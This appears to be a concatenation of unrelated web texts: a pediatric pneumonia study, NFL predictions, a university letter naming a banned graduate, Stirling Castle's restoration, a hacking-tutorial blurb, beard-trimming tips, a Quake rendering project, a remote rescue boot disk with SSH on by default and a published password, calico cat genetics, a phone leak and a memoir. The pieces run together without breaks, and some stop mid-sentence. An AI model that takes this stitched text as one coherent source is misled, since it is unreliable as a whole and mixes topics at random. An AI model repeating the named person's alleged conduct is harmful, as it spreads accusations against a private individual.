In Summer 2011, the Pediatric Infectious Diseases Society and Infectious Diseases Society of America (PIDS/IDSA) released joint community-acquired pneumonia guidelines that recommend narrow-spectrum antibiotic therapy for most children hospitalized with pneumonia but, until now, few studies had compared the effectiveness of this strategy relative to use of broad spectrum antibiotics.
Using data from 43 children’s hospitals in the U.S., the authors compared outcomes among children 6 months to 18 years of age hospitalized for pneumonia between 2005 and 2011, receiving either ampicillin or penicillin (narrow spectrum) or a third generation cephalosporin (ceftriaxone or cefotaxime,[broad spectrum]). According to the PIDS/IDSA guidelines, both treatment strategies are effective for disease caused by Streptococcus pneumoniae, the most common bacterial cause of pneumonia.
Lead author Derek J. Williams, M.D. MPH, assistant professor of Pediatrics, said doctors worry about increases in unnecessary use of broad spectrum antibiotics because they drive increases in disease caused by antibiotic-resistant bacteria.
“We have seen increases in use of broad spectrum antibiotics and concurrent increases in disease caused by resistant bacteria. For this study, we hypothesized that narrow and broad-spectrum antibiotics would have similar effectiveness in the treatment of childhood pneumonia. Our findings support the preferential use of narrow spectrum antibiotics as first-line therapies for most children hospitalized with pneumonia,” Williams said.
“Although interventions such as the introduction of the pneumococcal conjugate vaccines into the U.S. childhood vaccination schedule in 2000 have led to reductions in pneumococcal disease in general and reductions in disease caused by vaccine strains resistant to antibiotics, additional actions are necessary to inform antibiotic selection and to continue reducing antibiotic resistance.”
In the study, nearly 90 percent of children received broad-spectrum therapy, compared with only 10 percent receiving narrow-spectrum therapy.
“The 2011 PIDS/IDSA guidelines recommending ampicillin or penicillin represents a major shift toward more narrowly focused treatment, and this is one of the first studies that directly compared these agents against the more commonly used broader spectrum therapies,” Williams said. “Although ampicillin or penicillin therapy was as effective as the third generation cephalosporins, use of the narrower spectrum drugs was very uncommon prior to release of the guidelines. In the near future, it would be interesting to evaluate whether the release of the consensus guidelines and related efforts facilitate widespread adoption of the new treatment recommendations.”There are some predictions that are too bold. They defy logic. Why would anyone draw this specific conclusion?
Somewhat like projecting that Dallas Cowboys rookie quarterback Dak Prescott wouldn’t have an interception in his first five career starts. Too bold, right? Never going to happen.
That’s what makes this whole NFL thing so fun. It also leads us to the point of this article.
From what should be an interesting 2016 starting debut for Colin Kaepernick in Buffalo to a battle between two disappointing teams in New Orleans, here are 10 bold predictions for Week 6 of the NFL season.
1. Colin Kaepernick scores three touchdowns in return
Kaepernick will be making his first start since the midway point of last season. It’s hard to believe he’s actually getting another shot after all that’s transpired since that last start.
It’s also nearly impossible to look at Kaepernick and remember what he did in 2012 and 2013. That seems like ages ago. Now, he’s taking over a talentless offense under a head coach that runs an offensive system that should be to his liking. The end result here likely being mixed results.
But look for Kaepernick to come out on fire Sunday afternoon against the Buffalo Bills. He’s 100 percent for the first time in over a year. He’s now familiar with this spread scheme Kelly runs. And in reality, Kaepernick himself has a whole lot to prove here.
Taking on a Bills defense that has been tremendous against the pass, look for Kaepernick and fellow backfield partner Carlos Hyde to take it to the ground. It’s in this that the 49ers might have success.
Don’t be surprised of Kaepernick goes for two scores on the ground, including one of his long scampers in this one. Add in a passing touchdown, and it would make for a heck of a 2016 debut.
2. Dak Prescott vastly outplays Aaron Rodgers at Lambeau
Aaron Rodgers past five home starts: 4 interceptions Previous 20 home starts before that: 2 interceptions pic.twitter.com/mGmUp5NRI9 — Sportsnaut (@Sportsnaut) October 13, 2016
The aura of invincibility just isn’t there with the Green Bay Packers at Lambeau Field anymore. It could have been San Francisco going in there in sub-zero temperature and coming away with a win back in January of 2014. But it just doesn’t exist on the same grand level that it did in the past.
In addition to Rodgers’ numbers becoming a bit more human-like, the Packers are no longer unbeatable in front of the cheese heads. They boast a 3-3 record at Lambeau since that epic meltdown against the Chicago Bears last Thanksgiving.
On the other hand, the young Cowboys have proven themselves more than capable of going on the road and winning. They are 2-0 away from Big D on the season and are averaging 25.5 points in those two road dates.
It’s going to be much different than having to play in D.C. or Santa Clara. That much can’t be denied, but rookie quarterback Dak Prescott seems to have ice water running through his veins. He’s yet to throw an interception in 155 pass attempts, and is just six shy of Tom Brady’s mark to start a career. Not bad company to hold right here.
Meanwhile, fellow rookie Ezekiel Elliott is putting on a show we haven’t seen from a first-year back since Adrian Peterson back in 2007.
First 5 NFL games. Adrian Peterson: 96 attempts, 607 yards, four TDs Ezekiel Elliott: 109 attempts, 546 yards, 5 TDs pic.twitter.com/fZrfoX0JwF — Sportsnaut (@Sportsnaut) October 13, 2016
Sure Green Bay boasts the best run defense in the NFL. Sure this is going to be completely out of the Cowboys’ climate. Sure Lambeau is still a difficult place to play. But what we’ve seen from these two teams thus far this season, there’s no reason to believe Dallas can’t go into Wisconsin and come away with a win.
If that were to happen, it would have to include Prescott outplaying his future Hall of Fame counterpart.
3. Carlos Dunlap gets to Tom Brady for three sacks
New England Patriots right tackle Marcus Cannon promises to have his hands full against this monstrous Cincinnati Bengals EDGE rusher. Over the course of his past 21 games, the former Pro Bowler has recorded 17.5 sacks. This season alone, Dunlap has put up four in just five games.
Meanwhile, Cannon missed last week’s game with a calf injury. That’s surely something that could slow him down from a lower-body standpoint. If so, expect Dunlap to take full advantage with his speed off the edge. If Cannon can’t play, that pushes a backup into his role.
It might not be enough for Cincinnati to break out of its early-season funk, but we should expect a huge game form Dunlap here.
4. Alex Smith goes for 300 yards and three scores
Alex Smith, three starts in Oakland as a member of the Chiefs: 68.0 comp %, 10 TDs, 0 INTs, 133.7 rating pic.twitter.com/r5JS59wKY9 — Sportsnaut (@Sportsnaut) October 13, 2016
The Oakland Raiders’ pass defense has been absolutely atrocious all season. Atrocious in the how the heck are the Raiders 4-1 kinda way.
It ranks dead last in yards per game (330.6), 29th in touchdowns allowed (12) and 31st in yards per attempt (8.8). Opposing signal callers also boast a 103.1 quarterback rating against this unit.
Needless to say, Smith has himself a nice little matchup here. It’s also important to note Oakland’s elite-level offense forces opposing quarterbacks to toss the ball around the schoolyard like Jason Kidd in his heyday.
Quarterbacks are averaging a league-high 38.1 passes per game against this defense. That should give Smith ample opportunity to put up some big numbers, especially if the Chiefs are forced to play from behind. Add in his success in Oakland since joining the AFC West, and everything seems to be aligning for a massive statistical output here.
5. Carson Wentz throws two picks … To Josh Norman
This rookie No. 2 overall pick had his first somewhat pedestrian game this past week, throwing the first pick of his career in a narrow loss to the Detroit Lions.
Though, it must be noted before we move forward that Wentz played small role in the loss. He still completed 25-of-33 passes with two touchdowns. Instead, it was all about a couple dumb penalties on defense that sent the Eagles to their first loss of the campaign.
Wentz’s confidence remains sky high. He’s now taking more chances down the field. This has led to a decrease in targets for Jordan Matthews, who was thrown to 23 times in the first two games. Since then, Matthews has seen the ball seven times in two games.
Expect that to change come Sunday. As Wentz’s confidence grows, he will be spraying the ball around the field, potentially even forcing it into tight windows to his top receiver. If so, Norman will be ready to pounce.
Norman is coming off a Week 5 performance that saw him targeted just three times, yielding one catch for nine yards in the process. He has one interception on limited targets on the season and has almost picked off a couple more passes.
Should Norman see a bunch of balls thrown his way, as we suspect, two interceptions off the rookie wouldn’t be too surprising.
6. Richard Sherman picks off Matt Ryan twice
Speaking of elite corners, don’t mess with the 2016 version of Richard Sherman. New York Jets quarterback Ryan Fitzpatrick learned this first hand in Seattle’s last game back in Week 4.
After the Jets’ starter had success throwing to Brandon Marshall in the first half, Sherman intercepted two passes intended for the Pro Bowler. The last one pretty much clinched a Seattle win.
First off, let’s not sit here and compare this year’s version of Matt Ryan to Fitzpatrick. That would be about as crazy as believing the Patriots have a better chance with Julian Edelman at quarterback than they do with Tom Brady slinging the cowhide.
It’s still important to note that Ryan has made it clear through his play that he’s not going to avoid top-end corners simply because of the names on their jersey. That could be his first mistake come Sunday afternoon in Seattle.
Sherman isn’t your normal elite corner. He’s not Marcus Peters. He’s better than Desmond Trufant. And he sure the heck won’t shy away from top receivers like Josh Norman. He’s in his own world here.
The All Pro has allowed 95 passing yards when targeted in four games. That’s an average of less than one yard per coverage snap. And when targeted, Sherman has compiled two interceptions and another three passes defended. Amazing stuff right here.
Don’t expect Ryan to shy away from Julio Jones like he did last week. While it might have worked against the Denver Broncos, we know full well the Falcons want to get Jones involved here. Two receptions for 29 yards on six targets simply won’t work.
If that’s the case, we can fully expect Sherman to be in play for multiple interceptions in this one. Expect him to take full advantage.
7. Brian Hoyer puts up fourth consecutive 300-yard game
What Hoyer has done thus far this season is nothing short of extraordinary. In three starts, he’s completing over 70 percent of his passes for 1,000-plus yards with six touchdowns and zero picks. When targeting the underrated tandem of Eddie Royal and Zach Miller, Hoyer is completing 38-of-42 passes during this span.
Add in the excellent play of rookie Jordan Howard since starting Bears running back Jeremy Langford was injured, and there’s definitely some reason for optimism in Chicago. Whether that’s long-lived is anyone’s guess.
What we do know is that Hoyer should have some solid success against a lackluster Jacksonville Jaguars defense come Sunday afternoon. Jacksonville has yielded eight passing touchdowns compared to three interceptions for a 92.7 opposing quarterback rating in four games.
Better numbers than last season, but most definitely not where Gus Bradley wants his defense to be. Look for another tremendous outing form Hoyer as he cements his status as the Bears starter, potentially pushing Jay Cutler out the door in the process.
8. Dolphins hand Steelers jaw-dropping loss
This seems utterly absurd. But some bold predictions have to be a bit absurd on the surface. What if we were to tell you that Ben Roethlisberger and the Pittsburgh Steelers would go into South Beach on Sunday and come away with their tails between their legs? Would that be enough for you to discount our predictions the rest of the way?
Well, it’s happening here. Right here, and there’s nothing you can do about it. Sure Pittsburgh is averaging 37 points and 437 yards of offense over the past two games. Sure the Dolphins head into Week 6 with just one win and on the verge of completing imploding.
In an NFL where we have learn to expect the unexpected, a win here by Miami wouldn’t even be the most-shocking event of the young season. Pittsburgh’s last road game resulted in an embarrassing 34-3 loss to Carson Wentz and the Philadelphia Eagles.
Dating all the way back to the start of the 2013 season, the Steelers boast an even 13-13 mark on the road. During that very same span, they are 20-7 at home. Needless to say, Mike Tomlin’s squad is a much different team away from Pittsburgh.
Then you have Miami’s somewhat intriguing ability to stay competitive with superior teams. On the road for the first two games of the season, the Dolphins lost one-score affairs to both the Seattle Seahawks and New England Patriots.
That Patriots game in particular is what should interest us here. Miami fell down 31-3 midway through the third quarter before scoring three consecutive touchdowns to pull to within seven with just over six minutes left.
It’s this ability to stay competitive that should give downtrodden Dolphins fans reason for hope come Sunday. It’s also in this that we’re going to project a shocking win for the home team.
9. Marcus Mariota, Derrick Henry and DeMarco Murray combine for 300 rushing yards
The Cleveland Browns are yielding an average of 114.2 rushing yards per game. The Tennessee Titans rank second in the NFL in rushing offense at 148.6 per outing. We really don’t need to look much further than this to suggest that the Titans are going to have success on the ground come Sunday.
Though, recency bias tells us a story of a Titans rushing attack that’s been absolutely dominating of late. Last week against the Dolphins, Tennessee put up an absurd 235 rushing yards.
The two-headed running back tandem of DeMarco Murray and Derrick Henry combined for 175 yards on 36 attempts. Meanwhile, Marcus Mariota put up 60 himself. This came one week after Miami yielded just 77 rushing yards to the Cincinnati Bengals.
As appealing as it might sound for the Titans to attempt to take advantage of a weak Browns pass defense, they simply need to run it down Cleveland’s throats. Should that happen, there’s no reason to believe Tennessee won’t dominate in this area.
10. Drew Brees and the Saints hand Panthers another loss
The Carolina Panthers are playing for their season. Since the AFL-NFL merger back in 1966, only two teams have earned a playoff spot after starting 1-5. It’s in this that many expect Carolina to go into New Orleans and take care of business against the Saints.
Not so fast. Despite the Saints’ horrendous defense over the past two-plus seasons, reigning NFL MVP Cam Newton hasn’t exactly performed at a high level in the track field that is the Superdome during his career.
He boasts just a 3-2 career record in New Orleans. That’s most definitely something to keep an eye on here.
Also important to note, Drew Brees has continued to have success against the Panthers in New Orleans. He’s thrown 17 touchdowns compared to four interceptions in his past five home starts against the Panthers.
With Carolina struggling on defense and the Saints coming out of a bye, look for Brees to have a big game here. If so, New Orleans could very well send Carolina fishing before even the midway point of the season.Johnson Nguyen, a recent graduate from UBC's faculty of Science, has been banned from campus following unsettling behaviour.
A letter sent out by UBC chemistry department head Michael Wolf to the chemistry department warned of Nguyen's recent conduct, which included asking after female students who had previously had little or no contact with him. According to Wolfe, when Nguyen was told the female students were unavailable he became "very agitated and unstable, to the point that campus security and the RCMP were called in."
The letter also noted that Nguyen received multiple warnings from the RCMP before being issued a Notice of Restriction, barring him from campus.
The full letter appears below:
I would like to bring to your attention an important issue regarding a recently graduated student in the Faculty of Science. This student, Johnson Nguyen, has been coming to multiple Physics and Chemistry research labs asking after some female undergraduate students (all of which had little to no interactions with him in the past) who were in various physics and chemistry classes of his last year. When he was told they were not around, he became very agitated and unstable, to the point that campus security and the RCMP were called in. This behaviour, and more, has continued despite police warnings, and consequently a Notice of Restriction has been issued, banning him from campus, in accordance with UBC policy.
If you see this individual on campus, and especially in one of our buildings and asking about the location of people working in our labs, please call 911 and then campus security immediately. There has been no violent behaviour in any incidents so far, but please do not take unnecessary risks. A picture appears below.
-Mike
Barry Eccleton, the director of campus security, has issued a statement on the incident encouraging anyone who is afraid for their safety to call 911 or UBC RCMP immediately.
"When incidents of concerning behaviour occur on campus the university has a variety of mechanisms to address them – including banning individuals from campus," said Eccleton.
Due to privacy concerns, no comment will be issued on the specific incident.Stirling, Scotland is the home of Stirling Castle, a truly marvelous place that I love to visit, that sits atop a giant crag, or hill, overlooking the whole town of Stirling. There has been a castle on that hill since the 12th century at least, and maybe before, but the current buildings date from the 15th and 16th centuries.
When we think of medieval castles we usually picture a grand structure, with subdued, dark stone masonry. But when you gaze upon Stirling Castle today from the town below, you will notice that one of the buildings is different from the others. Since 1999, after a decade long restoration effort that altered the building inside and out, the Great Hall of Stirling Castle has been a bright, cheery yellow.
But not everyone in Stirling is happy about that.
Most medieval castles were a collection of buildings, each with a specific purpose. A great hall is one of the key buildings in a castle. To quote Bill Bryson in his book At Home: “No room has fallen further in history than the hall. Now a place to wipe feet and hang hats, once it was the most important room in the house.” The Great Hall of Stirling was a huge gathering space where parliament would meet and set laws. They would also have lavish banquets and feasts in the hall.
The story of how the restoration of The Great Hall of Stirling Castle led to it being painted bright yellow illustrates the unexpected complexity in the art of restoration. It comes down to this question: when you choose to restore something, which moment in time are you restoring it to?
Historic Scotland is the government organization charged with educating the public and safeguarding Scotland’s historic treasures. When Historic Scotland took over guardianship of Stirling Castle in 1991, they found the Great Hall in an awful state.
From 1800 to 1964 the castle was controlled by the War Office and it became the home of the Argyll and Sutherland Highlanders. And they didn’t treat the castle as a historic artifact to be preserved. The Great Hall was used as barrack accommodation. Turning the one big, fancy room into barracks meant adding floors, altering windows, replacing the ceiling…really changing everything. Once the military left, the place was gutted. And when Peter Buchanan’s team at Historic Scotland took over in 1991 the building was a shell. They were left with a huge question mark as to what they were going to do with it.
The typical mandate of Historic Scotland is to preserve historic places in the state they were found, but The Great Hall of Stirling Castle required some drastic measures. The question was: to which period should it be restored? Should they preference the military period from 1800-1964 or the medieval and renaissance period? Strategically the castle has been important for hundreds of years. Castle Hill in Stirling overlooked bogs on one side, and the bridge over the River Forth on the other, so for hundreds of years it was the place that controlled trade for the whole region. And it was seen that the cultural significance of the period from 1600-1800 outweighed the significance of the military period.
But choosing to restore the castle to a state 300-400 years in the past is not that simple. First of all, the records aren’t all consistent. The restoration team had a series of etchings of the Great Hall spanning from about 1600 to the late 1800s and they show the building from various angles. Unfortunately, they all show slightly different things. The etchings show different numbers of chimneys and different heights of chimneys. Traditionally the Hall had ridge beasts, heraldic statues of unicorns and lions that sit on the apex of the roof. All of the etchings show these, but they show different numbers of them. So the etchings give an idea of what the castle might have looked like, but as a tool for restoration, they weren’t much use.
To help figure out where the ridge beasts should be placed on top of the building, they had to figure out the original structure of the roof. Sometime in the 20th century the roof had been completely replaced by the military, but the original hall had a glorious hammer beam roof. A hammer beam roof is a medieval technique that uses wood beams as a network of cantilevers and trusses on the inside to make the roof strong over such a big, wide open room. You can see all the timber when you look up from inside the hall. It’s stunning. It’s a jigsaw puzzle of beautiful triangles that are amazing to behold. Because the stone ridge beasts weighed ¾ of a ton, they could only be placed where the hammer beam roof was strongest. This is as true now as it was 300 years ago.
So the team had a hammer beam roof to construct, but they had no hammer beam roof left. They needed clues in order to get it right.
They found one diagram, a cross section of the hammer beam roof of the Great Hall from 1719, but since there’s only one record, it’s hard to know if it’s completely accurate. Since there was no other information about what the roof looked like, they began researching the surveyors from 1719 who drew the diagram, and found that other diagrams they drew of other castles were very accurate.
Historic Scotland decided to trust the survey from 1719 and rebuild the roof based on that.
Using the one historic document, they built the roof, which determined where the heavy, stone ridge beasts were placed on top. One discovery begat another, and another, and the historic building came into focus.
The hammer beam roof was completed in 1999. Everyone who sees it, including the Stirlingfolk, seem to agree, it really looks great. So far, no controversy.
It was when they decided to also restore the lime wash finish to the Great Hall that local people began to express their objection.
When Historic Scotland took over the castle, it was completely grey stone. But throughout the castle, in corners and covered sections, they discovered bits of the original lime wash. Lime wash is pure lime (calcium oxide) and it also contains earth-based pigments. It’s a coating that’s meant to protect the stone masonry. In the case of Stirling, they found a significant yellow ochre layer of lime wash. The yellow was very intentional at the time. Hundreds of years ago, the built world was basically grey and brown, but on this giant hill, there was a great yellow piece of ostentatious bling that signaled for miles that this was a place for a king.
“We did huge sample panels of the lime washes all around the building to show people what it might have looked like,” says Peter Buchanan. “And we brought a lot of people from the Stirling area to see this as well. Because what we were intending to do, based on the analysis and the information that we had, was to put the finishes back.”
When Peter’s team was putting on the yellow finish, the Great Hall was completely covered in scaffolding and plastic. This may have contributed to the intensity of the reaction from the locals once it was unveiled. It was a sudden and shocking change to a historic monument that the people of Stirling had seen every day of their lives.
As a tourist, though, visiting the Great Hall is quite thrilling. Its brightness brings the building to life, and makes us reinterpret our muted, and ultimately wrong, image of the past.Many of you have written me asking where you should start in your hacking education/career. If you are not familiar with Linux, I definitely recommend that you start with my Linux tutorials. Presently, there are eleven (11), but there are more on the way. Every hacker MUST have basic Linux skills as nearly all the hacking tools are written for Linux.
Once you have mastered basic Linux skills, here are the tutorials I suggest you read and master next. I would suggest that you do them in order, but that is not necessary.
When you have completed each of these tutorials, you will have a fundamental understanding of hacking. At that point, you can go on to some of the more advanced tools and hacks with Metasploit, aircrack-ng, and others.
Happy hacking!MILLINOCKET, Me — A Priest of Pan has won the right to wear his religious headgear, a pair of horns, in his state-issued identification photo. After initially being told he could not wear his horns in the photo, Phelan MoonSong says he kept pressing for the same accommodation other religions receive.
Yesterday, his new ID finally arrived.
In early August, MoonSong went to the nearest Bureau of Motor Vehicles (BMV) located in Bangor. He stood in line with other residents, who asked MoonSong about the significance of his horns. When he reached the front of the line, everything was routine. He provided his change of name documentation, birth certificate, and other identifying documents. He was then told to wait before having his photo taken.
“I was eventually called up and the clerk asked me if my horns were implanted and I told her they are not,” says MoonSong. He informed the clerk that he wears them all the time as a religious headpiece as a Priest of Pan.
MoonSong says the clerk then conferred with co-workers. She returned and took his photo with the horns on. But there was a catch.
“She then told me I had to get my photo approved by the Secretary of State,” explains Moonsong. “She also informed me I was to mail him any religious documentation from a central governing body or doctrine of what my religion requires me to wear, copies from any religious books of my order or belief requiring such wear, etc.”
MoonSong informed the clerk that Pagan religions don’t have central governing bodies or authoritative books, but he would send in supporting sources |
. Remember that minor mistakes won’t show in many areas of a big beard, so don’t freak out if you mess up. Just learn from your mistakes and do better next time. You have the rest of your life to get this right.
Take action at the neckline if you must. If you have a naturally clean neckline and all hair grows down as it should, leave the neckline natural for a full effect that everyone will love. If you have some hairs that grow upward or in strange directions at the neckline, you’ll need to use a beard trimmer or razor to create a clean neckline. If your chest hair joins your beard hair, you can also benefit from defining a neckline for your beard.
Leave the cheeks natural if you can. Even if your growth is fairly high up on your cheeks, you’ll get the best and easiest-to-maintain look if you allow the cheek line to grow naturally. If there are many stray hairs or the cheek line is irregular, trim it down only as much as necessary with a beard trimmer. Over-trimmed cheek lines look bad, so keep that in mind. You can groom your cheek line or neckline effectively with beard scissors.
Decide what to do about the mustache. It’s up to you whether you want to sweep the stache to the sides or keep it trimmed neatly over your upper lip. Either way, occasional trims are necessary. The best idea is to comb the hairs straight down and clean up any that are longer than the others. If that isn’t enough, trim the whole things back until you get the look you want. Ideally, the skin of your upper lip should not show below the mustache, and many guys don’t like the pink part of their lips to show very much either. Use your stache to sculpt and enhance the look of your mouth, and don’t trim just to make eating easier.
When you keep this advice about how to trim a long beard with scissors in mind, you can do a better job and not have to depend on a barber — who may or may not know what he or she is doing. It’s your beard, so you need to learn how to trim it the way you want it.
Click here to see some beard scissors at Amazon that will help you get the job done right.This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.
I decided to combine these two problems into one solution:
Modern CPUs are idle way too much of the time. Why have all this computational power if we don’t use it?
I have these funny old Quake demos that there’s no good way to convert to something playable.
My solution is to convert Quake.dem files to.pov files and render them with POV-Ray.
Update: New better screenshot:
Quake scene rendered in POV-Ray. Two more here and here.
Quake is closing in on 20 years old now, and it’s starting to get annoying to make it even work. Yes, it’s opensource, and there are a couple of forks. But they’ve also always been annoying to get working. Hell, even GLQuake in Steam won’t start for me. (yes, I know this is a bad reason, but I’m doing this for fun)
Many of the tools and resources are hard to find. I couldn’t find ReMaic, and only found lmpc thanks to FreeBSD having made it a package. Converting demos to an ASCII format using lmpc helped in confirming that my file parsing was correct.
The steps needed to render a demo:
Extract.mdl files to.pov and.png (skin) files. Extract.bsp files to.pov and.png (textures) files. Turn the.dem file into one.pov file per frame, including the above as needed. Render all the pov files.
It’s interesting to look up these old specs from many generations ago, because I encountered:
People were shit at writing specs and tutorials back in the 90s. I’d guess collaboration works better now, and that’s why become much better. Remember that the Quake community predates Wikipedia by 5 years.
Oooh, here’s a newer up-to-date doc. It’s a forum post from 2009! Only half the links are 404s.
Side-by-side. The one with the weapon is the real Quake.
This video has been severely crippled by YouTube transcoding, so you can download the original video here. More crippled videos showing the progress on my youtube channel.
PAK
Thanks for making this a trivial format.
MDL
Why use unsigned coordinates that are then translated? Strange.
Update: From John Carmack’s.plan file from 1997-07-07:
As anyone who has ever disected it knows, Quake’s triangle model format is a mess. Any time during Quake’s development that I had to go back and work with it, I allways walked over to Michael and said ”Ohmygod I hate our model format!’. I didn’t have time to change it, though. After quake’s release, I WANTED to change it, especially when I was doing glquake, but we were then the proud owners of a legacy data situation.
BSP
Interesting that texture coordinates are not stored with vertices and interpolated after projection, but instead the vertices are projected onto the polygon plane. I haven’t done 3D coding in a very long time, but I don’t remember doing it that way.
Thanks for not making me turn the brushes into polygons myself.
Why are some models.mdl and some.bsp? Sure, I get that a door belongs in the same BSP file, but why are health boxes BSP files and weapons are mdl files? Is it because of the lightmaps I’m not using?
I’m not using the actual BSP parts of the.bsp files, and it’s nice that I don’t have to.
DEM
This is essentially a journal of events. Had this been.AVI files like newer games we would not be able to move the camera, increase resolution, and add special effects. In short, this project only works because Quake demo files are in this format.
Future work
Take models from other projects and use them instead of the original.
Create Oculus/Google Cardboard videos.
Fix all outstanding issues
Source code at githubThis is a fictionalised account of something that really happened, several times, so I know perfectly well how silly it is. This also extracts the urine from several people I consider friends. I hope they don’t take it personally 😉
The scenario:
A client or friend calls you up panicked, crying; “It won’t start! It keeps saying ‘Invalid system disk'”, or “I can’t save anything! It says read only filesystem!’
Of course you want to leap to their aid, but you’re 100 miles away and still haven’t had your coffee, so you say,
“Don’t worry, I can fix this remotely! Do you have another computer connected to the internet and a USB stick or a DVD writer (and blank a DVD)?”
“Of course, I always have these things around in case of emergency…”
“Great! Now I need you to download Ubuntu!”
“Ubuntu?”
“Yes, Ubuntu, it has all the tools I need to fix it remotely!”
“Um, Ok, but it’s like 700 megs, that’s going to take me a while…”
“Trust me it’s worth it…”
You now have time to get a coffee, and breakfast, and take your fish out cycling, etc. Then they call you back;
“Ok, I’ve got the Ubuntu disk, and I figured you wanted me to boot up the broken system with it so it’s ready for you to log in!”
“Not quite, I need you to log in and install openssh-server using apt-get.”
“Ok, Good thing I’m a whiz at this eh? Can I have your job?”
“No you can’t. Now you need to start the ssh daemon.”
“Done!”
“Now find out what IP address your machine has.”
“One, Nine, Two, dot, One, Six…”
This is the part where you tap your fingers impatiently thinking, “I just need the last part, I know what subnet you’re using!” Then you say;
“Great, note down that number and then add a port forwarding rule on your firewall to send traffic for port 8022 to port 22 on the IP that you just wrote down.”
“Ok, TCP or UDP.”
“TCP”
“Ok, done. Can you log in now?”
“Not quite, I just remembered you will need to set a password for the ubuntu user…”
“Ok the password is G0ldF1sh. Can you log in now?”
“Yes I can! Please plug in your backup drive and I’ll have you up and running in a jiffy! Failing that, I’ll rescue what data I can.”
What follows is a scramble to install everything you need, hardware diagnostics, NTFS tools, ddrescue and the like, before you even begin to copy the first byte from the damaged disk.
“There must be a better way” you think to yourself.
Enter: Mother’s Arms Rescue System! The boot-disk for remote rescuing!
Can boot from CD, DVD or USB.
Only 170MB (talk about bloat!)
Networking and sshd are on by default.
The ‘ma’ user has the password ‘rescueme’ remote root login is not enabled.
Everything can be done through sudo.
Includes a useful set of diagnostic and rescue utilities installed by default.
Based on ArchLinux so it has pacman available.
Built using the Archiso tools, same as the ArchLinux install disk and closely following their development.
Long-term-support Kernel.
Download via BitTorrent here: http://www.mothers-arms.co.uk/MARS-2012-03-02-i686.iso.torrent
Clone my Git repo here: http://gitorious.org/mothers-arms
Future plans:
Documentation! Aaaagh!
Openvpn for auto-configuration of the network. This is so you can give the client a hostname and password, which is then used to log the broken computer on to your own ad-hoc VPN.
More utilities for SCSI and RAID controller hardware diagnostics. e.g. cciss-vol-status
Incorporate suggestions from the community 🙂 (mailing list here: mars@librelist.com)
In my next post:
How to create a multi-boot USB stick!Many people are surprised to hear that the vast majority of calico cats are female. Why is this? Can a calico cat to ever be male? Learn more about the genetics of coat color in felines.
What Is a Calico Cat?
A calico cat is not a breed of cat, it is a color pattern. To be called "calico," three colors must be present: black, white, and orange. Variations of these colors include gray, cream, and ginger. A true calico cat has large blocks of these three colors. Other names for calico cats include tortoiseshell or "torties," brindle, or tricolor cats.
Calico Persian Cat. Kryssia Campos / Getty Images
Gender and Genetics
Calico cats are usually female. And, this is due in large part to genetics. Coat color is a complex process that is the result of dominant and non-dominate genes interacting within the X chromosomes. Since coat color is a sex-linked trait, it is one of the cat's physical traits that vary based on gender.
Female animals have two X chromosomes (XX), while males have one X chromosome and one Y chromosome (XY). The genetic coding for having black or orange color in the coat is found in the X chromosome. The color display is either orange or black. The coding for white is a completely separate gene.
In female mammals, one of the X chromosomes is randomly deactivated, called X-inactivation, in each cell. For calico cats, the random mix of color genes that are activated or deactivated gives the blotchy orange and black color display.
Since females have two X chromosomes, they are able to have two different colors (orange or black, depending what X was deactivated) and white; creating the three-color calico mix.
Since males have only one X chromosome, they only have one black or orange gene and can only display orange or black (plus or minus white, controlled by another gene).
Male Calico Cats
Calico cats are not always female. Male calico cats do exist and typically have a chromosomal aberration of two X chromosomes and one Y chromosome (XXY). Cats with this chromosomal configuration are usually sterile, which means that they are not able to breed. This syndrome is similar to a condition in humans called Klinefelter's syndrome, or XXY syndrome.
Alexandra Ribeiro / EyeEm / Getty Images
Cool Calico Cat Facts
On October 1, 2001, the calico cat became the official cat of the state of Maryland in the United States. Calico cats are believed to bring good luck in the folklore of many cultures. Japanese sailors often had a calico ship's cat to protect against misfortune at sea.
Other Coat Types
Cat genetics is responsible for producing many different varieties of cats and coat types. Common types include the bicolor or tuxedo cat (mostly black with a white chest), striped or marbled tabby cats, and solid color cats.As breathtakingly bad as the picture is, what we're looking at here could very well be the first shot of HTC's upcoming Bravo in the wild -- the industrial design lines up nicely with what we've seen in the company's leaked roadmap, anyway, and that funky little optical pad in the center perfectly matches the component that you can clearly see on the Legend render. It's said to be "near identical" to the Nexus One -- which makes sense considering that we thought the Nexus One was the Bravo for a while -- so the big draws here would have to be the removal of the trackball (we're not complaining) and the Sense UI covering up Android 2.1's default look. If 3 Sweden knew what it was talking about, this thing could be on shelves this quarter... so watch your back, MOTOROIOld men ought to be explorers
Here or there does not matter
We must be still and still moving
Into another intensity
For a further union, a deeper communion
Through the dark cold and the empty desolation,
The wave cry, the wind cry, the vast waters
Of the petrel and the porpoise. In my end is my beginning.
—From T.S. Eliot’s Four Quartets (3)
Donald N. Levine was my aikido Sensei, professor, boss, mentor, and friend. He changed my life, helped make me a man, and showed me what matters. And on April 4th, 2015, at 83 years old, he peacefully passed away.
Don is known as a public figure for his work as a social theorist, higher education leader, Ethiopian scholar, and aikido master. Though I observed him in each of these public capacities, my purview also exposed to me his private life as a husband, father, grandfather, local Chicago community member, musician, activist, and social entrepreneur. Because our relationship spanned the final half-decade of his life — and most of his largest public efforts were complete — how I knew him was not by the labels in his biography or by the genius of his works, but instead as a human being. I was lucky to have known Don during a formative time in my life: ages 20–25, during which he was 80–84.
I met him through his course at the University of Chicago, Conflict Theory: Aikido. I’d heard of its unique syllabus: students would study international warfare, family tension, street fights, romantic breakups, and all other sorts of conflict by reading books on the subject matter, and then proceed to act out the conflict scenarios on wrestling mats, tossing each other around withaikido techniques.
When I enrolled, my life was in a dark period. I’d just spent several months in China where some turbulent business experiences and a crippling combination of sinusitis, bronchitis, pneumonia, and mononucleosis had me feeling worn out. Conflict Theory: Aikido sounded like a course that would be easy and restorative.
I remember the first day of class. Professor Levine strolled in with a charming limp he’d sustained teaching aikido in the Colombian highlands weeks prior, and successfully concealed his wince to give our 20-person class a sly welcoming grin. He sat down, clapped his paw-like hands together, and announced the beginning: “Onigashimas!”
The course turned out to be harder than I expected. Don asked provocative questions which I often got wrong, the readings challenged many of my beliefs about the world, and aikido turned out to be difficult — I was top-heavy, rigid, and clumsy. At times the class was deeply frustrating, which Don would tell me meant I was learning. Luckily I also found it incredibly interesting, and by the end of the 10 weeks my aikido skills had progressed — much to my delight — from terrible to not as terrible.
